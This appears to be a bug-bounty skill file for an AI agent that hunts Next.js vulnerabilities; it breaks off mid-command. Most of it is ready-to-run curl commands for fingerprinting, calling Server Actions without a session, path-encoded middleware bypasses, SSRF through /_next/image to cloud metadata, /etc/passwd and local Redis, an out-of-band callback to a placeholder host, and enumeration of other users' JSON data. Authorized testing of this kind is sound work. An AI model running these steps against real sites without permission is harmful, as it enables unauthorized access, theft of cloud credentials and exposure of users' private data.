/hunt-nextjs

name: hunt-nextjs
description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories"
report_count: 0

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

**Highest-value chains:**

• **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
• **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
• **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
• **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
• **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client

---

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

---

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

---

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

---

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

---

Phase 4 — Image Optimization SSRF (`/_next/image`)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only fetches URLs allowed by `images.remotePatterns` / `images.domains` in `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200** returns an *optimized image*, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique Collaborator subdomain** (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.

> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server > Actions surface.

---

Phase 5 — `/_next/data/` IDOR & Data Leakage

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json